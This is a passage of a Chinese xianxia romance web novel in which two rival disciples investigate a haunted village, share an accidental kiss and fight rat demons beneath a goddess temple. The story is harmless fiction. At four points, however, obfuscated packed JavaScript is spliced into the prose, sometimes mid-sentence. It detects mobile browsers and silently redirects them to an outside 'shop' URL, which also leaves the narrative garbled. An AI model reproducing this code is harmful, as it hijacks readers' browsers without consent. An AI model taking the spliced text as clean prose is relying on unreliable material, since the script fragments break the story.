进了山洞,立刻感到一阵凉飕飕的阴寒气,那寒气附在骨头上,令人牙关打颤,姜鱼燃了一张火符,将浓郁的阴气驱散。 火符亮起瞬间,前方茂密的树枝纠缠在一起,渐渐搭成了“树人”形状,扬起的枝条抽打着空气,似无声威慑,看起来还有些唬人。 姜鱼一点都没被吓到,还往前走了一步,角落传来一道虚弱的声音:“站、站住。” 姜鱼:“王书?” 话音落,对面静了片刻,一个黑乎乎的身影从树枝后冒出来,“你、你认识我?” “我猜的。”她平静道。 姜鱼身后,几人对视。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642238|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——没想到藏在这里的,竟然是王书的鬼魂。 姜鱼挑了挑眉,“你一个鬼,躲什么躲?” 王书:“我怕人。” 姜鱼:…… 王书:“那你怎么不往前一点?” 姜鱼:“我怕鬼。” 众人:…… 你们两是认真的? 几人和王书交流一番,他说自己死后化鬼,在自己的墓附近徘徊时,见春燕来祭拜,一时忍不住跟着她回了家…… 姜鱼听完,蹲在草丛前方,和躲在草里的王书说话。 “所以,春燕发现了你,村民说她自言自语,其实是在跟你说话?” “是。” “那些香烛,也是烧给你的?” 书生老老实实道,“做了鬼才知,原来鬼也是会饿的。” “一般冤魂才会化鬼,你的死,莫非有什么隐情?” “小生就是在河边不慎淹死的。” 姜鱼回头看师兄,于照摇了摇头道:“你虽为鬼,身上还留有不少阳气,说明你阳寿未尽,本不该死。” 书生愣住了。 他……不该死? 原想着自己倒霉,也就认命了,只是不舍春燕,才留念人世……如今突然得知,他原本不该死,书生几乎想哭了。 姜鱼道:“你仔细想想,你是不是得罪过什么人,或者看到什么不该看到的东西?” 他蹲在草丛里想了半天,“我、我想不起来……” 几人对视一眼,决定先带他回去,让他慢慢想。如果他真是因为知道了什么秘密而死的,独自留在这里也不安全。 书生对修仙之人一直心怀憧憬,一口答应下来。下山路上,他胆子渐渐大了些,跟于照和林风攀谈起来,姜鱼和宿舟二人一路观察山中情况,渐渐落在了后面。 笼罩山间的雾气无处不在流银月色从雾中穿过,照亮了前方的小路。仔细一看,今夜还是月圆之夜,走过松树林,经过一片木芙蓉花丛时,宿舟忽然停住了脚步。 突如其来的,他觉得心跳过速,手脚发软,使不上力气,这感觉就像是——中毒了。 他皱起眉,靠向身后的芙蓉树,树干摇晃,成朵的芙蓉花从枝头坠下。 到底是什么时候? 正想着,一阵清幽香气靠近,姜鱼凑上前,“宿行云,你又发作了?” 她一靠近,宿舟的心跳更快几分,呼吸急促,从喉间溢出一声低喘。 “不是……” “那是吃错药了?”姜鱼眼睛睁圆,发现很不对劲。 “那朵花……昨夜神女庙,那朵花有问题。”他看着姜鱼,眼眸幽沉,长睫轻颤,“狐妖没说实话。” 姜鱼愣了一下,就想去找狐妖算账,但转头看宿舟现在的模样,浑身无力,动弹不得,一副任人宰割的模样,上次没试探成,这次似乎是个好机会。 【叮咚——】 【宿舟毒发,体力不支,趁此机会,你选择——A狠狠羞辱他/B趁机偷亲他】 姜鱼心想,不选A是人? 选完凑到他面前,嘲讽的话已到嘴边,忽然身体一阵发软,她猛然想到——不对,如果花有问题,那她也中毒了! 这念头刚滑过脑海,脚下已然站不稳,往前扑倒,唇瓣正好从宿舟的唇上擦过。 轰—— 大脑瞬间宕机。 救命,她不小心亲到宿舟了! 月亮透过薄雾窥视,木芙蓉的香气将两人包围,姜鱼大脑空白,尴尬到不敢抬头,错过了宿舟瞳孔颤动,无比震惊的表情。 他的目光落在姜鱼的唇上,柔软温热的触感似乎还有残留,他抿了抿唇,指节蜷紧,耳根悄然泛起了一片绯红。 23.第 23 章 木芙蓉香气浅浅,一朵芙蓉花从枝头坠下,正好落在面前,惊得两人从愣神中清醒。 姜鱼宕机的大脑启动,刚才她不小心擦了一下宿舟的唇,人也扑进了他怀里,被他身上的冷松气息环绕着,气氛说不出的尴尬。 花枝被两人的重量压得摇摇欲坠,枝叶轻晃,摇落芳香。 姜鱼慌忙站起来,腿还有些发软,身上使不上力气,那朵花也不知是什么毒,总之邪门得很,以至于她多看了宿舟一眼,对上对方幽深的眼眸,心跳就怦怦直跳。 “你——” 宿舟开口了,声音带着些许低哑。 “我没中毒。”姜鱼立刻否认。 要她承认自己被算计了,不可能,不然她怎么赢过宿舟一筹? “我刚才就是……不小心踢到了东西。” 她说话时,不知自己两颊晕得通红,落在对方眼中,就别有一番意味了。不过她也顾不上宿舟信不信,只想赶紧离他远点。 说完,飞速跑进前方的树林,看不到人影了。 宿舟:…… 月色如流银,照得满地霜白,他低头看着地上的两朵木芙蓉,粉色花瓣娇嫩柔软,四周似乎还残留着一缕清幽的发香,令他心绪难以平静。 她真的没中毒吗? 这突如其来的吻,到底是…… 被惦记着的姜鱼一口气冲进林中,那阵心跳不止的感觉终于稍缓了些,她掏出一把解毒丹,不管三七二十一全吃了下去。 过了片刻,呼吸渐渐平复,身上的热度也降了下去。 看来不是什么厉害的毒,她松了口气……想到刚才那一幕,只觉得丢脸至极,不仅没羞辱到宿舟,反而闹出这么大一个乌龙。 和对方嘴唇贴上的时候,她大脑都空白了,没想到这家伙平时冷冰冰的,唇倒是很软。 等等—— 快住脑! 她在想什么啊? 姜鱼气得想要扯头发,她竟然被宿舟搅乱了思绪,不能这么下去了,这绝对是她的黑历史,过了今晚,她要彻底忘了这件事。 …… 回到春燕家时,天色已然快亮了。王书和提心吊胆的春燕相聚,双方自然有许多话要说,姜鱼拎起桌上的捉妖袋,气冲冲出了门。 其他人都不明所以——这是怎么了? 林子里,姜鱼下手毫不留情,对着狐妖一顿胖揍。 “嗷嗷嗷!!” “啊啊啊啊!!” “要死了,要死了,呜呜呜……”狐妖被揍得满地打滚,偏偏被关在袋子里,滚也滚不了多远,落在身上的拳脚如雨点一般根本躲不掉,它被揍得鼻青脸肿,连连求饶,意识到这次是真把姜鱼得罪狠了,后悔得肠子都青了。 “说,那朵花是怎么回事?” “那是……情人花。” “什么?” “情人花是一种妖花,只在我们狐妖领地有。”狐妖抽抽噎噎的说,“我也不知道这花为什么会在村中的庙里……” “这么说,你是故意不提醒,等着看我们中毒?” “是……不是!不是!”感觉拳风靠近,狐狸大喊道,“这花根本没毒啊!” “你还不老实?” “嘤嘤,情人花是狐族的定情之花,狐族男女在确定心意后,在天亮时各自吃下一半花瓣,等到夜里,就能纵情欢好,如鱼得水……” “?” “只有真正的有情人,闻了这花才有作用。” “放你的狗屁!” “我是狐狸,怎么放狗屁?”狐妖下意识反驳,脑袋上又挨了一下,嗷得叫了一声,“我说的都是真的!” 袋子外面,姜鱼沉默了。 狐妖贱兮兮的,好奇心又上来了,小声问,“你这么生气,是因为花对你有作用?你和那个……” “闭嘴。” “嘤。” 它刚嘤完,感觉到一股寒气靠近,有什么锋利冰凉的东西贴在了它细弱的脖子上,姜鱼压低的声音随之传来,“再给你一次重新组织语言的机会,这花到底有什么作用?” 狐妖:怎么还不放过它! 刀架在脖子上,为了小命,它不得不忍辱负重,“就是……只要是一男一女,都会对情人花有反应。” “这还差不多。” 狐妖:QAQ “可以放过我了吧?”它小心翼翼问。 “你觉得呢?” “我……” “喜欢骗人是吧?” “喜欢看戏是吧?” “嗷嗷嗷——救命!!!” 姜鱼把狐狸收拾得服服帖帖,终于出了一口恶气,回到屋里时,于照等人正聚在一起,询问一人一鬼情况。 白天时,王书的鬼形更浅,跟在春燕身边,像一道浅浅的影子。做了鬼之后,他的记性不如以前,几人提问,他需要冥思苦想一会儿才能回答。问起村中失踪的四个女子,跟他都没什么交集,跟村长一家,也算不上交情深厚。 “神女给你托过梦吗?” “没有。” “你在神女庙祭拜时,发现过什么不对劲之处?” “好像……有一次,我听到过声音。” “什么声音?”跨进门的姜鱼立刻问了一句。 “像是划木板的声音……”书生道,“也不知是不是我听错了。” “你没听错,我也听到了。” “小鱼?” “师兄,咱们最好再检查一遍神女庙。” “好。”于照点点头,“我正有此意,稍后我们就去,趁此机会,顺便将整个村子都仔细检查一遍。” “这次就我们三个去吧。”林风抢着道,“姜师妹和宿师弟留下保护他们。” 既然宿舟也不去,这安排倒也能接受,姜鱼不忘提醒书生一句,王家父母的事,书生才知情况,顿时急红了眼。 “各位仙长,我想给爹娘托梦……” 姜鱼立刻看于照,于照无奈道,“入梦之术,倒是可以教你,但你要想清楚了,入梦会消耗你的魂体,让你更快消散。” 书生没有犹豫,“我已经死了,如今时间都是偷来的……只要能帮到春燕,我愿意。” 于照这边打算教完书生就出门,芸晚把姜鱼叫到一边,叮嘱道,“你看着点他们,别让他们……” “什么?” 她睁圆了眼,不明所以。 芸晚见她眼神单纯,不懂自己的暗示,小声道:“别让他们亲近。” 见她发愣,芸晚又补充一句,“比如接吻什么的……” “咳咳咳——” 姜鱼瞬间被口水呛到,咳得脸都红了。 “师妹,你怎么了?” “没……”她红着脸问,“为什么不能亲?” “虽然书生身上还有阳气,但他毕竟是鬼身,人鬼殊途,若两人过多接触,会导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645892|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致春燕阴气缠身,身体虚弱,尤其是那种嘴对嘴的接触,双方气息交换……师妹,你的脸怎么这么红?” “没,没什么。” 说完,一回头,正对上宿舟的视线。霎时间记忆回笼,尴尬涌上心头。 姜鱼:“我出去透透气。” 芸晚觉得奇怪:“师妹这是怎么了?” 宿舟抿了抿唇:“我去看看。” 见他跟出去,芸晚更奇怪了,问走过来的于照,“他们这是怎么了?” 于照摇了摇头:“不知道。” 宿舟追出门,却不见姜鱼的影子,走到窗边时,却听到窗里的书生和春燕说话,“阿燕,我准备找我爹娘……” “可是——” “我已经是个死人了,总不能耽误你太久。”他苦笑,“日后你能记得我,我此生足以,不记得也没关系,只要你过得好,我别无所求。” 春燕沉默了良久,忽然开口,“那时在碧溪边,我第一次碰见你,你掉了一本书在岸边……” “是我故意掉的。” 春燕一怔。 “第一次见你,我就动心了。”王书回答,“我故意将《诗经》落在河边,是想引起你的注意,窈窕淑女,君子好逑……” 两人的谈话声还在继续,宿舟已经走出了春燕家的院子,他想起了过去的一件事,以前他没有在意,现在回想,好像才明白了什么。 走过一段村间小路,渐渐能听到溪水声,随着视野开阔,前方一道明丽的身影映入眼帘。 姜鱼披着雪白的兔毛披风,下方露出石榴红的裙摆一角,秋日的阳光落在她身上,给柔顺垂下的乌发和雪白的颈侧都度上了一层柔光,簇着柔软蓬松的兔毛,看起来温柔漂亮得不可思议,有种不同往日的感觉。 宿舟默默看了一会儿,心念微动。 仔细一看,姜鱼正蹲在溪边打水漂,小石头划过水波,勉强跳了三下,就沉了下去。 刚嘟囔一句,一定是石头没选好,旁边飞来一块石子,穿过水波,连跳了五下,消失在视线远处。 她嗖地一下回头,见宿舟走过来,不由哼声:“你作弊?” 宿舟挑眉:“用得着?” 姜鱼:“那就是运气。” 见他站着不走,又问:“你来干嘛?” 宿舟:“于师兄他们要走了,该回去了。” 姜鱼哦了一声,站起身拍了拍身上的灰土,刚要走,宿舟问她,“以前,你是不是掉过一只纸鹤?” 姜鱼愣了一下,回想这个以前是多久以前,起码得有两年了吧? 她点头:“是啊。” 宿舟抿了抿唇:“你故意的?” 她又点头:“对啊。” 有段时间她无聊,用符纸折成各种东西,再赋予一点灵气,折得最多的就是会飞的纸鹤,她还故意在宿舟面前掉过一只…… 他突然问起这个干什么,要找自己算账? 宿舟想到刚才春燕书生的对话,想起花树下的吻,想起被他随手放在窗台,又自己飞走的纸鹤……这才意识到自己错过了什么。 原来,她早就表明过心迹了? “纸鹤上,你写了什么?” “你没看?”姜鱼惊讶。 他摇头。 “那你可亏大了。”姜鱼拍拍他的肩膀,转身走了。 她亲笔写的“宿舟是猪”四个大字,他竟然没看到,太可惜了。 24.第 24 章 回去路上,两人一前一后走着,宿舟想着心思,比以往更沉默。 姜鱼的心情则要轻快许多,从书生口中得到的线索让她确定神女庙有问题,这次师兄他们去搜,应该能有所收获。 快走回春燕住处时,前方有人拦住去了去路。 一对穿着朴素的男女互相搀扶而来,见到姜鱼时,扑通一声就给她跪下了。 “神女,求求你,放过我们的女儿。” “我们夫妻愿意做牛做马,回报神女。” “求你了……” 他们说完,砰砰磕了好几个响头。 姜鱼吓了一跳,赶紧上前扶人,可夫妻两说什么也不肯起来,认定了她就是神女,一个劲的求饶。 村中一共失踪了四个姑娘,其中两个是他们的女儿,一对双生姐妹花,才刚刚成年的年纪。 自从女儿们失踪后,夫妻两如同失了魂,满村找了个遍,若不是村长做主封了神女庙,两人恐怕会去神女庙前长跪不起,听说村中来了一个神女长相的仙子,他们找了几次,这回终于碰上了人,声泪俱下的哀求起来。 对王家夫妻那样的,姜鱼来者不怵,可这夫妻二人又是跪又是求,令她十分为难,解释了好几次她不是神女,他们也听不进去,或者说不愿意相信,如今姜鱼就是他们的救命稻草,除此之外,他们也不知怎么才能救出女儿。 “神女,求你饶了欢儿和喜儿吧!” “你要命,就要我们两个老东西的命吧!” “你们先起来……” 姜鱼劝不动他们,对着两人又说不出重话,见他们不停跪拜,心里难受,垂着眼睛说不出话。 正为难之际,宿舟开口了,“我们正在想办法救人。” 二老诧异看向他。 “如今已有线索,你们在此耽误的,都是救你们女儿时间。” “这……” “仙长,你说的是真的吗?” “我等剑修,从不说谎。” 他平静的语气,给人一种可以信服的感觉,两人互相搀扶着站起来,问:“你们真的能救出欢儿和喜儿?” 宿舟微微颔首。 夫妻两点点头,看看姜鱼,又看看他,半怀希望半是惶恐的走了。 他们走了,姜鱼蹲在原地,一会儿没说话。 宿舟:“还好吗?” 姜鱼闷声:“你管我干嘛?” 宿舟见她这么低落,心中不知为何,也有些不是滋味。 他想了想,“不去救人?” “去。”姜鱼立刻站起来,“我没事了,咱们赶紧回去。” 宿舟见她又恢复了干劲,点头嗯了一声。 刚要走,姜鱼视线在他脸上转了一圈,重复刚才的话,“你们剑修,从不说谎?” 宿舟:“我说的是我自己。” 姜鱼:“呵,不说谎,但是自大傲慢惹人厌。” 他皱了皱眉:“你生气了?” 姜鱼:? 这话说的,她不生气,难道还要对他送上笑脸? 回到春燕家中,于照三人刚好出门,为了安全期间,姜鱼在外面布置了一圈防护结界,弄好结界回来,王书忽然找她,“我好像想起一些事情……” “什么?” “那是我离家前一天,娘让我给村长家送个东西,在门外,我听到他和阿牛说话。” 姜鱼赶紧问,“你听到什么了?” “村长说:‘叫你收手,你偏不听。’,阿牛说:‘怕什么,不会有人发现。’” “大概是这么两句话,当时我不知他们在说什么,现在回想起来,恐怕有些问题。” 一旁春燕脸色煞白,“难道,是他们抓走了村中女子?” 王郎也是因为听到他们谈话,才引来了杀身之祸? 姜鱼眼神微沉,用符纸联系于照,他们一直没放弃对村长父子的怀疑,于师兄在村长家留了两个纸人,时刻监视他家情况,但这几天都没发现什么异常。大约是他们来了之后,这两人就收敛了许多,不想露出破绽。 她捏着符纸等了半天,于照那边一直没有回音,就在她着急时,那边传来于照急促的声音:“小鱼,不好了,芸师妹失踪了!” “怎么回事?” “我们在神女庙附近调查,师妹一转眼就不见了。”于照的声音透着焦急,“传音符也联系不上她。” 姜鱼道:“师兄,书生想起了一些事,村长父子有问题,我和宿舟去找他们,立即就来和你们汇合,我们一起找芸师姐。” 于照道:“神女庙附近我们都找遍了,没发现可疑之处,芸晚是不是去了别处?要不我们分散找——” “师兄,你先冷静一下。”姜鱼道,“别忘了,那魔物擅长阵法,神女庙收集了村民愿力,是最适合作为阵枢的地方。自从我们进村以来,他一直不露踪迹,很可能是用愿力掩盖了自身的魔气。” “如果真是这样,该怎么办?” 姜鱼道:“拆庙。” 于照被她的大胆想法震慑了一下,很快想到:“村民们恐怕不会同意……” “所以动作一定要快。” “可——” “师兄,我们没有时间了。” “好吧。”于照犹豫了片刻同意了,“小鱼,我们在这等你。” 这边姜鱼跟春燕两人叮嘱两句,让他们待在结界内千万不要出门,就跟宿舟一起赶往村长家。这一去直接扑了个空,父子两人不知去向,姜鱼心中升起一股不妙的预感,“先去神女庙。” 赶到庙前,于照和林风正等在外面,见他们来了,于照问:“如何,村长父子呢?” “他们跑了。”姜鱼道,“事不宜迟,赶紧拆庙。” “等等——” 林风绕过于照,上前一步,“姜鱼,你不会觉得你很厉害吧?” 姜鱼皱眉,“你又怎么了?” 林风:“你说拆就拆,拆了里面什么都没有怎么办?凭什么事事都是你来做主?” 姜鱼:“那就同意拆庙的留下,不同意的走。” “呵,又来这套。”林风道:“你拆了神女庙,惹怒了这些村民,还不是我们跟着遭殃,到时你打算怎么办?” “怕这怕那,你又来竞选什么天骄?” “不愧是三长老的女儿,说话就是硬气。”林风嘲讽道,“可惜我没人撑腰,不能乱来,我不同意拆庙。” 姜鱼点头:“好啊。” 锵—— 白螺剑已然出鞘。 “那就赢家说话,别废话了,亮兵器。” 见她眼神里分明的看不起,林风心中暗怒,手已按在兵刃上。 于照忙道:“都冷静一下,现在不是内讧的时候。” 姜鱼挑眉,“师兄,这不叫内讧,这叫物理说服。” 说完,剑出如电! 林风被剑光晃到,眼前一花,下意识防守,没想到姜鱼只是虚晃他一招,剑气砍在身后的庙门上,哐地一声,门板碎成四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650698|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块掉了下来。 “姜鱼!” “喊什么喊,这么近还怕我听不见?” “你——” 话音落,忽听一阵喧哗声传来,外面道上涌进来一群愤怒的村民,有人扛着锄头的,有人拿着斧子,七嘴八舌的喊,“不准拆庙!” “谁拆了神女庙,我们就跟谁拼了!” “外人滚出村子!” “滚出去!” 姜鱼暗自皱眉,这些村民未免来得太快了。 看来……那个藏身暗处的魔物一直在监视他们的行动,而且这些村民眼神里没了惧怕和恭敬,唯有怒火,也许是被雾气影响了神智。 这下事情麻烦了。 村民们将神女庙团团围住,大喊着让他们滚出去,姜鱼道,“是村长让我们拆的。” 众人纷纷不信。 “真的,不信你们去问问他。” “别被她骗了,神女庙不能拆!” “不能得罪了神女!” 姜鱼:这招竟然不管用了…… 于照不想跟村民起冲突,心生犹豫,“小鱼,要不先我们回去?” “师兄,你不想救芸师姐了吗?” “这……” 见这两人一个拖后腿,一个做不了决定,姜鱼干脆看向宿舟,“你怎么说?” 宿舟:“不掀掉乌龟壳,怎么见到藏头缩尾的乌龟?” 姜鱼啧了一声。 宿舟竟然能说出这么对她胃口的话,真是怪不适应的。 她道:“那就再配合一次?” “可以。” 话音落,宿舟剑已在手,他没有出剑,而是剑鞘一震,震出一圈气劲,将围成一圈的村民们震了个东倒西歪。 姜鱼趁机将两张爆破符贴在了庙墙上,林风见状,瞬身过来撕抢符纸,没想到姜鱼一直防着他呢。他靠过来瞬间,对着他嘿了一声。 林风吓了一跳。 姜鱼抬起脚,毫不留情把他踢进了人群里。 愤怒的村民立刻将锄头斧子挥向了他,天骄试炼中,伤害百姓是大忌,他慌忙往外滚,脑袋上还是挨了好几下,脸色彻底阴沉。 就在这时,轰然一声巨响。 爆破符被引爆,伴随着什么东西碎裂的声音,整个神女庙都被炸成了废墟,烟尘散去,地上出现了一个黝黑的坑洞。 所有人愕然看着这一幕。 姜鱼打了个响指,让她猜对了,神女像就是障眼法,只有炸掉它,这隐蔽的地下通道才会显形。 两人走到洞边,见里面漆黑一片,深不见底,只有来自地底的风呜呜往上灌,如同厉鬼夜哭,有些渗人。 姜鱼:“你先下。” 宿舟:“这次不抢先了?” 姜鱼:“给你表现的机会。” 宿舟:“想让我先下去踩陷阱,不如直说。” 姜鱼:“说了你还会下?” 宿舟淡淡看了她一眼,“或许呢。” 姜鱼:? 她又不傻,这种话她会信? 她道:“我数123一起下去。1、2、3——” 话音落,两道身影几乎同时跳进了坑洞中,很快消失在黑暗中。 于照站在坑边,看着他们跳下去,回想起刚才两人的配合,没有商量对策,似乎一个眼神就懂了对方的想法一个阻拦村民,一个引爆符纸,时机拿捏得刚好。 这还是见面就掐的姜鱼和宿舟?他们两个什么时候配合这么默契了? 25.第 25 章 于照心中纳闷,没注意到林风紧跟两人之后,也跳进了坑洞里。 在他身后,被愤怒控制的村民们也逐渐冷静下来,他们面面相觑,不敢相信眼前所见——神女庙下方竟然藏有密道?这密道通向哪,又藏着什么秘密? 于照见他们冷静下来,温声道:“此地危险,你们快些回去吧。” 村民问:“仙长,这到底是怎么回事?” 于照:“此事恐怕与村长父子有关,我们调查清楚后再告诉大家。” 村民们将信将疑的散了,一部分跑到村长家讨要说法,不过注定要扑个空。 劝走了村民,于照又在洞口附近做了一番布置,防止有人误入坑洞中,自己也跳了下去。 漆黑的密道内,姜鱼觉得自己下坠了很久,越往下越感觉到一阵森冷寒意,耳边传来窸窸窣窣的声音。 这声音跟她之前在神女庙听过的类似,像是尖利的指甲摩擦过地板,但是下方传来的声音更响、更密集,一浪接一浪,令人头皮发麻。 随着声音接近,姜鱼摸出个火折子往下扔,火光照亮瞬间,看清下面是什么,不由倒抽一口凉气。 那是一群密密麻麻的鼠妖,体型比一般老鼠大得多,身上的毛如钢刺,眼睛猩红,利爪足有半尺长,她听到的声音,就是利爪抓挠地面发出的声响。 火折子扔下去,如同炸了油锅,鼠妖的数量之多,火光照亮的地方密集到无处下脚,这么笔直掉下去,老鼠一人啃上一口,顷刻间就能变成骨架。 姜鱼气一提,借灵气短暂浮空,两张爆破符在手,毫不犹豫甩了下去。 砰砰! 伴随着两声爆炸和老鼠刺耳的嘶叫声,下方清空出一片区域,鼠肉烧焦的味道传开,姜鱼捏着鼻子落下,啧了一声:“炸粪坑了。” 旁边落下的宿舟:…… “它们围过来了。” “要不要比一比?”姜鱼挑眉。 “比什么?” “当然是看谁杀的多。” 话音落,她已经动了,手上手上十张火符,一路火焰燎燃,来不及避开的鼠妖当场被烤熟,叫声惨烈。 宿舟以剑气化箭,将一条线上的鼠妖串成一串,姜鱼的火蔓延过来,瞬间变成了炭烤老鼠,莫名还配合上了。 然而地下的鼠妖源源不绝,数量恐怕有数千之多,烤了一片,周围还有源源不断的鼠妖向这边聚拢,不杀出一条路来,根本走不出去。 它们发出震耳的尖啸声,令人头晕目眩,从四面八方袭来利爪,带着妖气的爪影向两人袭来,姜鱼脚踩在一只鼠妖背上,高高跃起,避开下方发狂的老鼠攻击,又放出两张风符,风助火势,火烧得更猛了。 她这边动静巨大,宿舟忍不住道,“上次幻境里,是谁说自己只有十张符了?” 这源源不断掏符纸的架势,那是要用完的样子? 姜鱼堵着耳朵阻挡老鼠的音波攻击,喊道:“你说什么,我听不见!” 宿舟:…… 他一阵无语,提醒一句,“注意点。” 下方被烧烤的鼠妖们使出了第二招,背高高弓起,刺状尖毛从身上飞出,无数棘刺飞向空中,姜鱼见状,掐诀施法,四道灵气盾牢牢护住四方,尖刺噔噔打在盾牌上,像落了一场急雨。她靠着灵气盾防护,催风助火,一路灼烧,鼠妖们领教了厉害,缓缓往后方退去,逐渐消失在阴影里。 放眼一扫,地上满是鼠妖被烧死的尸体,一股妖尸臭味弥漫,她挑了挑眉,“我赢了。” 宿舟:“我杀的都被你烧了。” 姜鱼:“你都说被我烧了,当然要算我杀的。” 宿舟:“能不能讲点理?” 姜鱼:“不能。” 她看着满地妖尸,不禁纳闷,“这地下怎么这么多鼠妖?” 他们下落了许久,应该已在地底极深处,这些鼠妖靠什么活着?而且它们在地下爬动的声音,真能传到上方的神女庙中吗? 这样想着,忽然觉得后背一凉。 她猛地转头,借着还未熄灭的火光,看到墙壁上方有什么东西在爬,体型很小,但动作极快,转眼就到了面前,如一道残影电光般飞身跃起,一口狠狠咬向她的脖颈! 不好! 她扭过头的瞬间,那东西已到了面前,护体灵盾被撞碎,她甚至来不及出招,但脑子转得极快,立刻撤去灵气,任由自己往下掉。 这东西在墙上动作快,弹跳又远,落到地面,才有反制对方的机会。 她想得很好,却没料到宿舟竟然出手了,剑气贯穿妖尾,将之钉在墙上,妖物吃痛,竟直接断尾,借着妖血瞬间激发的凶性,在空中扭转方向,正落在姜鱼脚边,狠狠一口咬在了她脚腕上。 “啊!” 剧痛瞬间袭来,姜鱼眼前一黑,浑身冒汗,只觉脚骨都要被咬穿了,妖兽松开她,又一次扑了过来。 这次它无法得逞,只见剑光一寒,行云剑从天而降,正好贯穿妖兽颅骨,妖物大张着腥臭的嘴,倒在了地上。 宿舟随之落下,对上姜鱼愤恨的眼神,一时说不出话。 出手瞬间,他已经意识到姜鱼的意图,可那妖兽行动诡异,他一剑能钉到尾巴已属不易,哪能想到妖兽断尾发狂,反而坑了姜鱼,闹了一场乌龙。 “你干嘛要帮忙?”姜鱼简直要气死了。 谁指望他帮忙了,难道不该站在旁边看戏吗?要不是她心里清楚,想害她用不着这么大费周章,她真会认为宿舟在故意暗算。 说话时,她的眼眶通红,纯粹是痛的,落在宿舟眼中,天然有种委屈意味,令他更加自责无措。 “有药吗?” “你说呢?” “……” 他哪能说出什么?默默拿剑站在一旁,帮她守着周围,好让她安心上药。 姜鱼重重哼了一声,掏出伤药仔仔细细沿着伤口洒了一圈,包扎好后,钻心剧痛总算消下去一些。 她转头打量身边的妖兽,这东西被行云剑贯穿颅脑,已经死透了,它看起来比那些鼠妖体型要小,但妖气更浓,牙齿森然锋利,厉害程度不是鼠妖能比的。 也不知暗处还藏有多少只,万一聚拢过来,就不好对付了……这地方不能久留。 她轻嘶一声,“走了。” 不动还好,一动起来,还没愈合的伤口又裂开,差点扑倒在鼠妖烧烤堆里,还好她借着白螺剑当拐杖,勉强站稳了。 额头冒出细细密密的汗珠,脸色又白了几分。 眼见宿舟靠近,她的气又上来了,“你是觉得我对付不了妖兽,所以才出手?” “不是。” “那就是想杀妖兽,抢功劳。” “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663654|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“说话啊,宿行云。” “我背你。” “你别以为我不——你说什么?!” 她睁圆了眼睛,又忍不住掏了掏耳朵,难道她被刚才鼠妖的音波功伤到了,出现了幻听? 再一看,宿舟已经解下了背上的剑鞘,那架势是真的打算背她了。 “干嘛要背我?” “你还走得动?” “当然。” “以你的速度,你觉得魔物会等你?” “……” 姜鱼郁闷了,想想不知藏在哪的魔物,失踪的芸师姐,不由内心焦急,时间确实耽误不起。而宿舟,大概是因为刚才确实坑了自己,良心过不去? 她挪步上前,往宿舟身上一趴,嘟囔:“想不到你还有良心这种东西。” 身下人瞬间一僵。 不仅是骤然被她撞上来的力度,她轻声说话时,温热的气息正好吹在耳下颈侧,激起一阵麻痒。 他下意识绷紧身形,喉结轻滚,甚至没听清她说了什么。 “怎么不走?” “你好了?” “嗯。” 对方又细又直的小腿在他腰侧晃了晃,催促道,“快走,快走。” “……” 宿舟稳稳背着她,渐渐走出了鼠妖的地盘,小鱼灵灯悬在半空照亮,照见前方地形开阔起来,远处山峦起伏,道旁枯草蔓生,隐约还能听到潺潺水声。 小溪村的地底,竟还藏着另一方天地。 “这地下到底是什么地方?” 姜鱼伸着脖子张望四周,“你有没有闻到什么味道?” 宿舟脚步微顿,姜鱼的脑袋动来动去,发丝贴着他的颈侧轻扫,呼吸间都是她头发的清香,根本闻不到别的气味。 “像是什么东西发霉了……” “腐朽气?” “对。” 她认真嗅闻,才想转身,又被硌了一下。 “嘶——” “你的骨头就不能往后收一收吗?” “?” “硌死人了。” 她忍不住抱怨。 少年的肩背如松柏挺直,覆盖着一层薄薄的肌理,背后的蝴蝶骨微微凸起,一不小心就会被他硌到。 “你的头发也很痒。”他说。 “……” 姜鱼默默把贴在他脖子上的几缕头发捞回来,忽然升起一股危机感:“你不会打算背到一半,把我给扔了吧?” “那我背你的意义是?” 这还用问? 想找个方便杀人抛尸的好地方呗。 姜鱼在心里默默回答。 